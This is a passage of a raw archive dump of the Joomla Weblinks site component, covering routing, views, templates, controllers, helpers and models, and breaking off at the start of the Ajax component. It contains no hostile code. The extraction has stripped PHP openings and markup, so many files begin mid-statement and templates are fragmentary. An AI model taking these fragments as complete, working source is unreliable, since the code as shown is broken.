unset($query['id']); return $segments; } if (isset($view) and ($view == 'category' or $view == 'weblink')) { if ($mId != (int) $query['id'] || $mView != $view) { if ($view == 'weblink' && isset($query['catid'])) { $catid = $query['catid']; } elseif (isset($query['id'])) { $catid = $query['id']; } $menuCatid = $mId; $categories = JCategories::getInstance('Weblinks'); $category = $categories->get($catid); if ($category) { // TODO Throw error that the category either not exists or is unpublished $path = $category->getPath(); $path = array_reverse($path); $array = array(); foreach ($path as $id) { if ((int) $id == (int) $menuCatid) { break; } if ($advanced) { list($tmp, $id) = explode(':', $id, 2); } $array[] = $id; } $segments = array_merge($segments, array_reverse($array)); } if ($view == 'weblink') { if ($advanced) { list($tmp, $id) = explode(':', $query['id'], 2); } else { $id = $query['id']; } $segments[] = $id; } } unset($query['id']); unset($query['catid']); } if (isset($query['layout'])) { if (!empty($query['Itemid']) && isset($menuItem->query['layout'])) { if ($query['layout'] == $menuItem->query['layout']) { unset($query['layout']); } } else { if ($query['layout'] == 'default') { unset($query['layout']); } } } $total = count($segments); for ($i = 0; $i < $total; $i++) { $segments[$i] = str_replace(':', '-', $segments[$i]); } return $segments; } /** * Parse the segments of a URL. * * @param array &$segments The segments of the URL to parse. * * @return array The URL attributes to be used by the application. * * @since 3.3 */ public function parse(&$segments) { $total = count($segments); $vars = array(); for ($i = 0; $i < $total; $i++) { $segments[$i] = preg_replace('/-/', ':', $segments[$i], 1); } // Get the active menu item. $app = JFactory::getApplication(); $menu = $app->getMenu(); $item = $menu->getActive(); $params = JComponentHelper::getParams('com_weblinks'); $advanced = $params->get('sef_advanced_link', 0); // Count route segments $count = count($segments); // Standard routing for weblinks. if (!isset($item)) { $vars['view'] = $segments[0]; $vars['id'] = $segments[$count - 1]; return $vars; } // From the categories view, we can only jump to a category. $id = (isset($item->query['id']) && $item->query['id'] > 1) ? $item->query['id'] : 'root'; $category = JCategories::getInstance('Weblinks')->get($id); $categories = $category->getChildren(); $found = 0; foreach ($segments as $segment) { foreach ($categories as $category) { if (($category->slug == $segment) || ($advanced && $category->alias == str_replace(':', '-', $segment))) { $vars['id'] = $category->id; $vars['view'] = 'category'; $categories = $category->getChildren(); $found = 1; break; } } if ($found == 0) { if ($advanced) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select($db->quoteName('id')) ->from('#__weblinks') ->where($db->quoteName('catid') . ' = ' . (int) $vars['catid']) ->where($db->quoteName('alias') . ' = ' . $db->quote($db->quote(str_replace(':', '-', $segment)))); $db->setQuery($query); $id = $db->loadResult(); } else { $id = $segment; } $vars['id'] = $id; $vars['view'] = 'weblink'; break; } $found = 0; } return $vars; } } /** * Weblinks router functions * * These functions are proxys for the new router interface * for old SEF extensions. * * @deprecated 4.0 Use Class based routers instead */ function WeblinksBuildRoute(&$query) { $router = new WeblinksRouter; return $router->build($query); } function WeblinksParseRoute($segments) { $router = new WeblinksRouter; return $router->parse($segments); } com_weblinks/views/index.html000066600000000037150771500630012362 0ustar00 com_weblinks/views/categories/view.html.php000066600000003710150771500630015141 0ustar00get('State'); $items = $this->get('Items'); $parent = $this->get('Parent'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } if ($items === false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } if ($parent == false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } $params = &$state->params; $items = array($parent->id => $items); // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->maxLevelcat = $params->get('maxLevelcat', -1); $this->params = &$params; $this->parent = &$parent; $this->items = &$items; return parent::display($tpl); } } com_weblinks/views/categories/tmpl/default.php000066600000000726150771500630015630 0ustar00loadTemplate('items'); ?> com_weblinks/views/categories/tmpl/default.xml000066600000016253150771500630015643 0ustar00
com_weblinks/views/categories/tmpl/index.html000066600000000037150771500630015463 0ustar00 com_weblinks/views/categories/tmpl/default_items.php000066600000004224150771500630017026 0ustar00items[$this->parent->id]) > 0 && $this->maxLevelcat != 0) : ?> items[$this->parent->id] as $id => $item) : ?> params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : if (!isset($this->items[$this->parent->id][$id + 1])) { $class = ' class="last"'; } ?>
> params->get('show_subcat_desc_cat') == 1) :?> description) : ?>
description, '', 'com_weblinks.categories'); ?>
getChildren()) > 0) :?>
items[$item->id] = $item->getChildren(); $this->parent = $item; $this->maxLevelcat--; echo $this->loadTemplate('items'); $this->parent = $item->getParent(); $this->maxLevelcat++; ?>
com_weblinks/views/categories/index.html000066600000000037150771500630014507 0ustar00 com_weblinks/views/form/view.html.php000066600000006067150771500630013767 0ustar00state = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); $this->return_page = $this->get('ReturnPage'); if (empty($this->item->id)) { $authorised = ($user->authorise('core.create', 'com_weblinks') || (count($user->getAuthorisedCategories('com_weblinks', 'core.create')))); } else { $authorised = $user->authorise('core.edit', 'com_weblinks.category.'.$this->item->catid); } if ($authorised !== true) { JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); return false; } if (!empty($this->item)) { $this->form->bind($this->item); } // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } // Create a shortcut to the parameters. $params = &$this->state->params; //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->params = $params; $this->user = $user; $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if (empty($this->item->id)) { $head = JText::_('COM_WEBLINKS_FORM_SUBMIT_WEBLINK'); } else { $head = JText::_('COM_WEBLINKS_FORM_EDIT_WEBLINK'); } if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', $head); } $title = $this->params->def('page_title', $head); if ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } com_weblinks/views/form/tmpl/edit.php000066600000005222150771500630013743 0ustar00state->get('params'); ?>
params->get('show_page_heading')) : ?>

escape($this->params->get('page_heading')); ?>

get('save_history', 0)) : ?>
form->getInput('contenthistory'); ?>

form->renderField('title'); ?> form->renderField('alias'); ?> form->renderField('catid'); ?> form->renderField('url'); ?> form->renderField('tags'); ?> get('save_history', 0)) : ?> form->renderField('version_note'); ?> user->authorise('core.edit.state', 'com_weblinks.weblink')) : ?> form->renderField('state'); ?> form->renderField('language'); ?> form->renderField('description'); ?>
com_weblinks/views/form/tmpl/index.html000066600000000037150771500630014301 0ustar00 com_weblinks/views/form/tmpl/edit.xml000066600000000470150771500630013754 0ustar00 com_weblinks/views/form/metadata.xml000066600000000217150771500630013632 0ustar00 com_weblinks/views/form/index.html000066600000000037150771500630013325 0ustar00 com_weblinks/views/category/view.html.php000066600000005160150771500630014632 0ustar00items as $item) { $item->slug = $item->alias ? ($item->id.':'.$item->alias) : $item->id; if ($item->params->get('count_clicks', $this->params->get('count_clicks')) == 1) { $item->link = JRoute::_('index.php?option=com_weblinks&task=weblink.go&id='. $item->id); } else { $item->link = $item->url; } $temp = new JRegistry; $temp->loadString($item->params); $item->params = clone($this->params); $item->params->merge($temp); } return parent::display($tpl); } /** * Prepares the document * * @return void */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_WEBLINKS_DEFAULT_PAGE_TITLE')); } $id = (int) @$menu->query['id']; if ($menu && ($menu->query['option'] != 'com_weblinks' || $id != $this->category->id)) { $this->params->set('page_subheading', $this->category->title); $path = array(array('title' => $this->category->title, 'link' => '')); $category = $this->category->getParent(); while (($menu->query['option'] != 'com_weblinks' || $id != $category->id) && $category->id > 1) { $path[] = array('title' => $category->title, 'link' => WeblinksHelperRoute::getCategoryRoute($category->id)); $category = $category->getParent(); } $path = array_reverse($path); foreach ($path as $item) { $pathway->addItem($item['title'], $item['link']); } } parent::addFeed(); } } com_weblinks/views/category/tmpl/default.php000066600000000651150771500630015315 0ustar00subtemplatename = 'items'; echo JLayoutHelper::render('joomla.content.category_default', $this); com_weblinks/views/category/tmpl/default.xml000066600000013106150771500630015325 0ustar00
com_weblinks/views/category/tmpl/index.html000066600000000037150771500630015153 0ustar00 com_weblinks/views/category/tmpl/default_children.php000066600000003350150771500630017164 0ustar00children[$this->category->id]) > 0 && $this->maxLevel != 0) : ?> item->params; // Get the user object. $user = JFactory::getUser(); // Check if user is allowed to add/edit based on weblinks permissinos. $canEdit = $user->authorise('core.edit', 'com_weblinks.category.'.$this->category->id); $canCreate = $user->authorise('core.create', 'com_weblinks'); $canEditState = $user->authorise('core.edit.state', 'com_weblinks'); $n = count($this->items); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?> items)) : ?>

params->get('filter_field') != 'hide' || $this->params->get('show_pagination_limit')) :?>
params->get('filter_field') != 'hide') :?>
params->get('show_pagination_limit')) : ?>
pagination->getLimitBox(); ?>
params); ?> params->get('show_pagination')) : ?>
com_weblinks/views/category/metadata.xml000066600000000221150771500630014477 0ustar00 com_weblinks/views/category/index.html000066600000000037150771500630014177 0ustar00 com_weblinks/views/category/view.feed.php000066600000001116150771500630014566 0ustar00get('Item'); if ($this->getLayout() == 'edit') { $this->_displayEdit($tpl); return; } if ($item->url) { // redirects to url if matching id found JFactory::getApplication()->redirect($item->url); } else { //TODO create proper error handling JFactory::getApplication()->redirect(JRoute::_('index.php'), JText::_('COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND'), 'notice'); } } } com_weblinks/views/weblink/tmpl/index.html000066600000000037150771500630014771 0ustar00 com_weblinks/views/weblink/index.html000066600000000037150771500630014015 0ustar00 com_weblinks/index.html000066600000000037150771500630011225 0ustar00 com_weblinks/controller.php000066600000003555150771500630012134 0ustar00input->getInt('w_id'); $vName = $this->input->get('view', 'categories'); $this->input->set('view', $vName); if ($user->get('id') ||($this->input->getMethod() == 'POST' && $vName = 'categories')) { $cachable = false; } $safeurlparams = array( 'id' => 'INT', 'limit' => 'UINT', 'limitstart' => 'UINT', 'filter_order' => 'CMD', 'filter_order_Dir' => 'CMD', 'lang' => 'CMD' ); // Check for edit form. if ($vName == 'form' && !$this->checkEditId('com_weblinks.edit.weblink', $id)) { // Somehow the person just went to the form - we don't allow that. return JError::raiseError(403, JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); } return parent::display($cachable, $safeurlparams); } } com_weblinks/controllers/index.html000066600000000037150771500630013573 0ustar00 com_weblinks/controllers/weblink.php000066600000016421150771500630013746 0ustar00setRedirect($this->getReturnPage()); } } /** * Method override to check if you can add a new record. * * @param array $data An array of input data. * @return boolean * @since 1.6 */ protected function allowAdd($data = array()) { $user = JFactory::getUser(); $categoryId = JArrayHelper::getValue($data, 'catid', $this->input->getInt('id'), 'int'); $allow = null; if ($categoryId) { // If the category has been passed in the URL check it. $allow = $user->authorise('core.create', $this->option.'.category.'.$categoryId); } if ($allow === null) { // In the absense of better information, revert to the component permissions. return parent::allowAdd($data); } else { return $allow; } } /** * Method to check if you can add a new record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $categoryId = 0; if ($recordId) { $categoryId = (int) $this->getModel()->getItem($recordId)->catid; } if ($categoryId) { // The category has been set. Check the category permissions. return JFactory::getUser()->authorise('core.edit', $this->option.'.category.'.$categoryId); } else { // Since there is no asset tracking, revert to the component permissions. return parent::allowEdit($data, $key); } } /** * Method to cancel an edit. * * @param string $key The name of the primary key of the URL variable. * * @return Boolean True if access level checks pass, false otherwise. * @since 1.6 */ public function cancel($key = 'w_id') { parent::cancel($key); // Redirect to the return page. $this->setRedirect($this->getReturnPage()); } /** * Method to edit an existing record. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions). * * @return Boolean True if access level check and checkout passes, false otherwise. * @since 1.6 */ public function edit($key = null, $urlVar = 'w_id') { $result = parent::edit($key, $urlVar); return $result; } /** * Method to get a model object, loading it if required. * * @param string $name The model name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return object The model. * @since 1.5 */ public function getModel($name = 'form', $prefix = '', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Gets the URL arguments to append to an item redirect. * * @param integer $recordId The primary key id for the item. * @param string $urlVar The name of the URL variable for the id. * * @return string The arguments to append to the redirect URL. * @since 1.6 */ protected function getRedirectToItemAppend($recordId = null, $urlVar = null) { $append = parent::getRedirectToItemAppend($recordId, $urlVar); $itemId = $this->input->getInt('Itemid'); $return = $this->getReturnPage(); if ($itemId) { $append .= '&Itemid='.$itemId; } if ($return) { $append .= '&return='.base64_encode($return); } return $append; } /** * Get the return URL. * * If a "return" variable has been passed in the request * * @return string The return URL. * @since 1.6 */ protected function getReturnPage() { $return = $this->input->get('return', null, 'base64'); if (empty($return) || !JUri::isInternal(base64_decode($return))) { return JUri::base(); } else { return base64_decode($return); } } /** * Function that allows child controller access to model data after the data has been saved. * * @param JModelLegacy $model The data model object. * @param array $validData The validated data. * * @return void * @since 1.6 */ protected function postSaveHook(JModelLegacy $model, $validData = array()) { return; } /** * Method to save a record. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions). * * @return Boolean True if successful, false otherwise. * @since 1.6 */ public function save($key = null, $urlVar = 'w_id') { $result = parent::save($key, $urlVar); // If ok, redirect to the return page. if ($result) { $this->setRedirect($this->getReturnPage()); } return $result; } /** * Go to a weblink * * @return void * @since 1.6 */ public function go() { // Get the ID from the request $id = $this->input->getInt('id'); // Get the model, requiring published items $modelLink = $this->getModel('Weblink', '', array('ignore_request' => true)); $modelLink->setState('filter.published', 1); // Get the item $link = $modelLink->getItem($id); // Make sure the item was found. if (empty($link)) { return JError::raiseWarning(404, JText::_('COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND')); } // Check whether item access level allows access. $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); if (!in_array($link->access, $groups)) { return JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); } // Check whether category access level allows access. $modelCat = $this->getModel('Category', 'WeblinksModel', array('ignore_request' => true)); $modelCat->setState('filter.published', 1); // Get the category $category = $modelCat->getCategory($link->catid); // Make sure the category was found. if (empty($category)) { return JError::raiseWarning(404, JText::_('COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND')); } // Check whether item access level allows access. if (!in_array($category->access, $groups)) { return JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); } // Redirect to the URL // TODO: Probably should check for a valid http link if ($link->url) { $modelLink->hit($id); JFactory::getApplication()->redirect($link->url); } else { return JError::raiseWarning(404, JText::_('COM_WEBLINKS_ERROR_WEBLINK_URL_INVALID')); } } } com_weblinks/helpers/association.php000066600000002543150771500630013723 0ustar00input; $view = is_null($view) ? $jinput->get('view') : $view; $id = empty($id) ? $jinput->getInt('id') : $id; if ($view == 'category' || $view == 'categories') { return self::getCategoryAssociations($id, 'com_weblinks'); } return array(); } } com_weblinks/helpers/index.html000066600000000037150771500630012667 0ustar00 com_weblinks/helpers/icon.php000066600000003710150771500630012334 0ustar00' . $button . ''; return $output; } public static function edit($weblink, $params, $attribs = array()) { $uri = JUri::getInstance(); if ($params && $params->get('popup')) { return; } if ($weblink->state < 0) { return; } JHtml::_('bootstrap.tooltip'); $url = WeblinksHelperRoute::getFormRoute($weblink->id, base64_encode($uri)); $icon = $weblink->state ? 'edit.png' : 'edit_unpublished.png'; $text = JHtml::_('image', 'system/'.$icon, JText::_('JGLOBAL_EDIT'), null, true); if ($weblink->state == 0) { $overlib = JText::_('JUNPUBLISHED'); } else { $overlib = JText::_('JPUBLISHED'); } $date = JHtml::_('date', $weblink->created); $author = $weblink->created_by_alias ? $weblink->created_by_alias : $weblink->author; $overlib .= '<br />'; $overlib .= $date; $overlib .= '<br />'; $overlib .= htmlspecialchars($author, ENT_COMPAT, 'UTF-8'); $button = JHtml::_('link', JRoute::_($url), $text); $output = '' . $button . ''; return $output; } } com_weblinks/helpers/category.php000066600000001155150771500630013222 0ustar00 array((int) $id) ); //Create the link $link = 'index.php?option=com_weblinks&view=weblink&id='. $id; if ($catid > 1) { $categories = JCategories::getInstance('Weblinks'); $category = $categories->get($catid); if ($category) { $needles['category'] = array_reverse($category->getPath()); $needles['categories'] = $needles['category']; $link .= '&catid='.$catid; } } if ($language && $language != "*" && JLanguageMultilang::isEnabled()) { self::buildLanguageLookup(); if (isset(self::$lang_lookup[$language])) { $link .= '&lang=' . self::$lang_lookup[$language]; $needles['language'] = $language; } } if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } return $link; } /** * @param integer $id The id of the weblink. * @param string $return The return page variable. */ public static function getFormRoute($id, $return = null) { // Create the link. if ($id) { $link = 'index.php?option=com_weblinks&task=weblink.edit&w_id='. $id; } else { $link = 'index.php?option=com_weblinks&task=weblink.add&w_id=0'; } if ($return) { $link .= '&return='.$return; } return $link; } public static function getCategoryRoute($catid, $language = 0) { if ($catid instanceof JCategoryNode) { $id = $catid->id; $category = $catid; } else { $id = (int) $catid; $category = JCategories::getInstance('Weblinks')->get($id); } if ($id < 1 || !($category instanceof JCategoryNode)) { $link = ''; } else { $needles = array(); // Create the link $link = 'index.php?option=com_weblinks&view=category&id='.$id; $catids = array_reverse($category->getPath()); $needles['category'] = $catids; $needles['categories'] = $catids; if ($language && $language != "*" && JLanguageMultilang::isEnabled()) { self::buildLanguageLookup(); if (isset(self::$lang_lookup[$language])) { $link .= '&lang=' . self::$lang_lookup[$language]; $needles['language'] = $language; } } if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } } return $link; } protected static function buildLanguageLookup() { if (count(self::$lang_lookup) == 0) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.sef AS sef') ->select('a.lang_code AS lang_code') ->from('#__languages AS a'); $db->setQuery($query); $langs = $db->loadObjectList(); foreach ($langs as $lang) { self::$lang_lookup[$lang->lang_code] = $lang->sef; } } } protected static function _findItem($needles = null) { $app = JFactory::getApplication(); $menus = $app->getMenu('site'); $language = isset($needles['language']) ? $needles['language'] : '*'; // Prepare the reverse lookup array. if (!isset(self::$lookup[$language])) { self::$lookup[$language] = array(); $component = JComponentHelper::getComponent('com_weblinks'); $attributes = array('component_id'); $values = array($component->id); if ($language != '*') { $attributes[] = 'language'; $values[] = array($needles['language'], '*'); } $items = $menus->getItems($attributes, $values); if ($items) { foreach ($items as $item) { if (isset($item->query) && isset($item->query['view'])) { $view = $item->query['view']; if (!isset(self::$lookup[$language][$view])) { self::$lookup[$language][$view] = array(); } if (isset($item->query['id'])) { // here it will become a bit tricky // language != * can override existing entries // language == * cannot override existing entries if (!isset(self::$lookup[$language][$view][$item->query['id']]) || $item->language != '*') { self::$lookup[$language][$view][$item->query['id']] = $item->id; } } } } } } if ($needles) { foreach ($needles as $view => $ids) { if (isset(self::$lookup[$language][$view])) { foreach ($ids as $id) { if (isset(self::$lookup[$language][$view][(int) $id])) { return self::$lookup[$language][$view][(int) $id]; } } } } } // Check if the active menuitem matches the requested language $active = $menus->getActive(); if ($active && ($language == '*' || in_array($active->language, array('*', $language)) || !JLanguageMultilang::isEnabled())) { return $active->id; } // If not found, return language specific home link $default = $menus->getDefault($language); return !empty($default->id) ? $default->id : null; } } com_weblinks/models/index.html000066600000000037150771500630012510 0ustar00 com_weblinks/models/form.php000066600000003256150771500630012175 0ustar00getState('return_page')); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { $app = JFactory::getApplication(); // Load state from the request. $pk = $app->input->getInt('w_id'); $this->setState('weblink.id', $pk); // Add compatibility variable for default naming conventions. $this->setState('form.id', $pk); $categoryId = $app->input->getInt('catid'); $this->setState('weblink.catid', $categoryId); $return = $app->input->get('return', null, 'base64'); if (!JUri::isInternal(base64_decode($return))) { $return = null; } $this->setState('return_page', base64_decode($return)); // Load the parameters. $params = $app->getParams(); $this->setState('params', $params); $this->setState('layout', $app->input->getString('layout')); } } com_weblinks/models/forms/index.html000066600000000037150771500630013636 0ustar00 com_weblinks/models/forms/weblink.xml000066600000006421150771500630014021 0ustar00
com_weblinks/models/categories.php000066600000005733150771500630013361 0ustar00setState('filter.extension', $this->_extension); // Get the parent id if defined. $parentId = $app->input->getInt('id'); $this->setState('filter.parentId', $parentId); $params = $app->getParams(); $this->setState('params', $params); $this->setState('filter.published', 1); $this->setState('filter.access', true); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.extension'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.parentId'); return parent::getStoreId($id); } /** * redefine the function an add some properties to make the styling more easy * * @return mixed An array of data items on success, false on failure. */ public function getItems() { if (!count($this->_items)) { $app = JFactory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); $params = new JRegistry; if ($active) { $params->loadString($active->params); } $options = array(); $options['countItems'] = $params->get('show_cat_num_links', 1) || !$params->get('show_empty_categories_cat', 0); $categories = JCategories::getInstance('Weblinks', $options); $this->_parent = $categories->get($this->getState('filter.parentId', 'root')); if (is_object($this->_parent)) { $this->_items = $this->_parent->getChildren(); } else { $this->_items = false; } } return $this->_items; } public function getParent() { if (!is_object($this->_parent)) { $this->getItems(); } return $this->_parent; } } com_weblinks/models/category.php000066600000021427150771500630013047 0ustar00_params)) { $params = new JRegistry; $params->loadString($item->params); $item->params = $params; } // Get the tags $item->tags = new JHelperTags; $item->tags->getItemTags('com_weblinks.weblink', $item->id); } return $items; } /** * Method to build an SQL query to load the list data. * * @return string An SQL query * @since 1.6 */ protected function getListQuery() { $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select required fields from the categories. $query->select($this->getState('list.select', 'a.*')) ->from($db->quoteName('#__weblinks') . ' AS a') ->where('a.access IN (' . $groups . ')'); // Filter by category. if ($categoryId = $this->getState('category.id')) { $query->where('a.catid = ' . (int) $categoryId) ->join('LEFT', '#__categories AS c ON c.id = a.catid') ->where('c.access IN (' . $groups . ')'); //Filter by published category $cpublished = $this->getState('filter.c.published'); if (is_numeric($cpublished)) { $query->where('c.published = ' . (int) $cpublished); } } // Join over the users for the author and modified_by names. $query->select("CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author") ->select("ua.email AS author_email") ->join('LEFT', '#__users AS ua ON ua.id = a.created_by') ->join('LEFT', '#__users AS uam ON uam.id = a.modified_by'); // Filter by state $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where('a.state = ' . (int) $state); } // do not show trashed links on the front-end $query->where('a.state != -2'); // Filter by start and end dates. $nullDate = $db->quote($db->getNullDate()); $date = JFactory::getDate(); $nowDate = $db->quote($date->toSql()); if ($this->getState('filter.publish_date')) { $query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')') ->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')'); } // Filter by language if ($this->getState('filter.language')) { $query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')'); } // Filter by search in title $search = $this->getState('list.filter'); if (!empty($search)) { $search = $db->quote('%' . $db->escape($search, true) . '%'); $query->where('(a.title LIKE ' . $search . ')'); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_weblinks'); // List state information $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'), 'uint'); $this->setState('list.limit', $limit); $limitstart = $app->input->get('limitstart', 0, 'uint'); $this->setState('list.start', $limitstart); // Optional filter text $this->setState('list.filter', $app->input->getString('filter-search')); $orderCol = $app->input->get('filter_order', 'ordering'); if (!in_array($orderCol, $this->filter_fields)) { $orderCol = 'ordering'; } $this->setState('list.ordering', $orderCol); $listOrder = $app->input->get('filter_order_Dir', 'ASC'); if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', ''))) { $listOrder = 'ASC'; } $this->setState('list.direction', $listOrder); $id = $app->input->get('id', 0, 'int'); $this->setState('category.id', $id); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_weblinks')) && (!$user->authorise('core.edit', 'com_weblinks'))) { // limit to published for people who can't edit or edit.state. $this->setState('filter.state', 1); // Filter by start and end dates. $this->setState('filter.publish_date', true); } $this->setState('filter.language', JLanguageMultilang::isEnabled()); // Load the parameters. $this->setState('params', $params); } /** * Method to get category data for the current category * * @param integer An optional ID * * @return object * @since 1.5 */ public function getCategory() { if (!is_object($this->_item)) { $app = JFactory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); $params = new JRegistry; if ($active) { $params->loadString($active->params); } $options = array(); $options['countItems'] = $params->get('show_cat_num_links_cat', 1) || $params->get('show_empty_categories', 0); $categories = JCategories::getInstance('Weblinks', $options); $this->_item = $categories->get($this->getState('category.id', 'root')); if (is_object($this->_item)) { $this->_children = $this->_item->getChildren(); $this->_parent = false; if ($this->_item->getParent()) { $this->_parent = $this->_item->getParent(); } $this->_rightsibling = $this->_item->getSibling(); $this->_leftsibling = $this->_item->getSibling(false); } else { $this->_children = false; $this->_parent = false; } } return $this->_item; } /** * Get the parent category * * @param integer An optional category id. If not supplied, the model state 'category.id' will be used. * * @return mixed An array of categories or false if an error occurs. */ public function getParent() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_parent; } /** * Get the sibling (adjacent) categories. * * @return mixed An array of categories or false if an error occurs. */ function &getLeftSibling() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_leftsibling; } function &getRightSibling() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_rightsibling; } /** * Get the child categories. * * @param integer An optional category id. If not supplied, the model state 'category.id' will be used. * * @return mixed An array of categories or false if an error occurs. */ function &getChildren() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_children; } /** * Increment the hit counter for the category. * * @param int $pk Optional primary key of the category to increment. * * @return boolean True if successful; false otherwise and internal error set. * * @since 3.2 */ public function hit($pk = 0) { $input = JFactory::getApplication()->input; $hitcount = $input->getInt('hitcount', 1); if ($hitcount) { $pk = (!empty($pk)) ? $pk : (int) $this->getState('category.id'); $table = JTable::getInstance('Category', 'JTable'); $table->load($pk); $table->hit($pk); } return true; } } com_weblinks/models/weblink.php000066600000005410150771500630012657 0ustar00getParams(); // Load the object state. $id = $app->input->getInt('id'); $this->setState('weblink.id', $id); // Load the parameters. $this->setState('params', $params); } /** * Method to get an object. * * @param integer The id of the object to get. * * @return mixed Object on success, false on failure. */ public function getItem($id = null) { if ($this->_item === null) { $this->_item = false; if (empty($id)) { $id = $this->getState('weblink.id'); } // Get a level row instance. $table = JTable::getInstance('Weblink', 'WeblinksTable'); // Attempt to load the row. if ($table->load($id)) { // Check published state. if ($published = $this->getState('filter.published')) { if ($table->state != $published) { return $this->_item; } } // Convert the JTable to a clean JObject. $properties = $table->getProperties(1); $this->_item = JArrayHelper::toObject($properties, 'JObject'); } elseif ($error = $table->getError()) { $this->setError($error); } } return $this->_item; } /** * Returns a reference to the a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Weblink', $prefix = 'WeblinksTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to increment the hit counter for the weblink * * @param integer $id Optional ID of the weblink. * * @return boolean True on success */ public function hit($id = null) { if (empty($id)) { $id = $this->getState('weblink.id'); } $weblink = $this->getTable('Weblink', 'WeblinksTable'); return $weblink->hit($id); } } com_ajax/index.html000066600000000037150771500630010332 0ustar00 com_ajax/ajax.php000066600000010111150771500630007763 0ustar00input; // Requested format passed via URL $format = strtolower($input->getWord('format')); // Initialize default response and module name $results = null; $parts = null; // Check for valid format if (!$format) { $results = new InvalidArgumentException('Please specify response format other that HTML (json, raw, etc.)', 404); } /* * Module support. * * modFooHelper::getAjax() is called where 'foo' is the value * of the 'module' variable passed via the URL * (i.e. index.php?option=com_ajax&module=foo). * */ elseif ($input->get('module')) { $module = $input->get('module'); $moduleObject = JModuleHelper::getModule('mod_' . 